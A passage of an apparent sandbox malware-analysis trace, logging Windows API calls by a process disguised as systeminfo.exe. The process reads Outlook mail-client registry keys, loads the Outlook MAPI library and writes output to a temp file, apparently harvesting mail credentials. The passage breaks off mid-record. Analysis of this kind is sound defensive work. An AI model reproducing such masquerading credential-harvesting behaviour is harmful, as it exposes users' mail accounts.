lpUsedDefaultChar=0x0) returned 256 [0068.477] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x416530, nSize=0x104 | out: lpFilename="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe")) returned 0x40 [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.477] GetLastError () returned 0x0 [0068.477] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.478] GetLastError () returned 0x0 [0068.478] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.479] SetLastError (dwErrCode=0x0) [0068.479] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.480] SetLastError (dwErrCode=0x0) [0068.480] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.481] SetLastError (dwErrCode=0x0) [0068.481] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.482] GetLastError () returned 0x0 [0068.482] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.483] GetLastError () returned 0x0 [0068.483] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.484] SetLastError (dwErrCode=0x0) [0068.484] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.485] GetLastError () returned 0x0 [0068.485] SetLastError (dwErrCode=0x0) [0068.486] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0068.486] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4071c2) returned 0x0 [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.486] SetLastError (dwErrCode=0x0) [0068.486] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.487] SetLastError (dwErrCode=0x0) [0068.487] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.488] SetLastError (dwErrCode=0x0) [0068.488] GetLastError () returned 0x0 [0068.489] SetLastError (dwErrCode=0x0) [0068.489] GetLastError () returned 0x0 [0068.489] SetLastError (dwErrCode=0x0) [0068.489] GetLastError () returned 0x0 [0068.489] SetLastError (dwErrCode=0x0) [0068.489] GetLastError () returned 0x0 [0068.489] SetLastError (dwErrCode=0x0) [0068.489] LoadLibraryW (lpLibFileName="advapi32.dll") returned 0x756e0000 [0068.505] LoadLibraryW (lpLibFileName="ole32.dll") returned 0x75450000 [0068.785] LoadLibraryW (lpLibFileName="shell32.dll") returned 0x75c50000 [0068.788] GetCommandLineW () returned="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" \"C:\\ProgramData\\FB6F.tmp\"" [0068.788] CommandLineToArgvW (in: lpCmdLine="\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" \"C:\\ProgramData\\FB6F.tmp\"", pNumArgs=0x3cfdc4 | out: pNumArgs=0x3cfdc4) returned 0x797c68*="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe" [0068.788] RegCreateKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Clients\\Mail\\Microsoft Outlook", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x1, lpSecurityAttributes=0x0, phkResult=0x3cfdac, lpdwDisposition=0x0 | out: phkResult=0x3cfdac*=0x90, lpdwDisposition=0x0) returned 0x0 [0068.789] RegQueryValueExW (in: hKey=0x90, lpValueName="DLLPathEx", lpReserved=0x0, lpType=0x0, lpData=0x3cf910, lpcbData=0x3cfd90*=0x104 | out: lpType=0x0, lpData=0x3cf910*=0x43, lpcbData=0x3cfd90*=0x7a) returned 0x0 [0068.789] RegQueryValueExW (in: hKey=0x90, lpValueName="MSIApplicationLCID", lpReserved=0x0, lpType=0x0, lpData=0x3cfb18, lpcbData=0x3cfd98*=0x104 | out: lpType=0x0, lpData=0x3cfb18*=0x4d, lpcbData=0x3cfd98*=0x5c) returned 0x0 [0068.789] RegCloseKey (hKey=0x90) returned 0x0 [0068.789] LoadLibraryW (lpLibFileName="C:\\Program Files\\Microsoft Office\\Root\\Office16\\OLMAPI32.DLL") returned 0x0 [0069.089] GetModuleHandleExW (in: dwFlags=0x0, lpModuleName="mscoree.dll", phModule=0x3cfd6c | out: phModule=0x3cfd6c) returned 0 [0069.089] ExitProcess (uExitCode=0x0) Process: id = "10" image_name = "systeminfo.exe" filename = "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\systeminfo.exe" page_root = "0x45314000" os_pid = "0xa98" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "child_process" parent_id = "7" os_parent_pid = "0x81c" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\systeminfo.exe\" /scomma \"C:\\ProgramData\\FB70.tmp\"" cur_dir = "C:\\Users\\aETAdzjz\\Desktop\\" os_username = "YKYD69Q\\aETAdzjz" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:00010636" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 1786 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 1787 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 1788 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 1789 start_va = 0x50000 end_va = 0x8ffff entry_point = 0x0 region_type = private name = "private_0x0000000000050000" filename = "" Region: id = 1790 start_va = 0x90000 end_va = 0x93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000090000" filename = "" Region: id = 1791 start_va = 0xa0000 end_va = 0xa1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000000a0000" filename = "" Region: id = 1792 start_va = 0x190000 end_va = 0x28ffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 1793 start_va = 0x400000 end_va = 0x45afff entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 1794 start_va = 0xbe0000 end_va = 0xbfefff entry_point = 0xbe18a0 region_type = mapped_file name = "3292.exe" filename = "\\Users\\Public\\3292.exe" (normalized: "c:\\users\\public\\3292.exe") Region: id = 1795 start_va = 0x77090000 end_va = 0x77238fff entry_point = 0x77090000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 1796 start_va = 0x77270000 end_va = 0x773effff entry_point = 0x77270000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 1797 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 1798 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 1799 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 1800 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 1801 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 1802 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 1803 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 1816 start_va = 0x630000 end_va = 0x6affff entry_point = 0x0 region_type = private name = "private_0x0000000000630000" filename = "" Region: id = 1817 start_va = 0x746e0000 end_va = 0x746e7fff entry_point = 0x746e20f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 1818 start_va = 0x746f0000 end_va = 0x7474bfff entry_point = 0x7472f798 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 1819 start_va = 0x74750000 end_va = 0x7478efff entry_point = 0x7477de78 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 1820 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 1821 start_va = 0xb0000 end_va = 0x116fff entry_point = 0xb0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 1822 start_va = 0x880000 end_va = 0x97ffff entry_point = 0x0 region_type = private name = "private_0x0000000000880000" filename = "" Region: id = 1823 start_va = 0x75250000 end_va = 0x75295fff entry_point = 0x75257478 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 1824 start_va = 0x759f0000 end_va = 0x75afffff entry_point = 0x75a032d3 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 1825 start_va = 0x76e70000 end_va = 0x76f69fff entry_point = 0x0 region_type = private name = "private_0x0000000076e70000" filename = "" Region: id = 1826 start_va = 0x76f70000 end_va = 0x7708efff entry_point = 0x0 region_type = private name = "private_0x0000000076f70000" filename = "" Region: id = 1827 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 1828 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 1829 start_va = 0x3d0000 end_va = 0x3dffff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 1830 start_va = 0x74160000 end_va = 0x74168fff entry_point = 0x74160000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 1831 start_va = 0x742f0000 end_va = 0x7448dfff entry_point = 0x7431e6b5 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll") Region: id = 1832 start_va = 0x74dc0000 end_va = 0x74dcbfff entry_point = 0x74dc10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 1833 start_va = 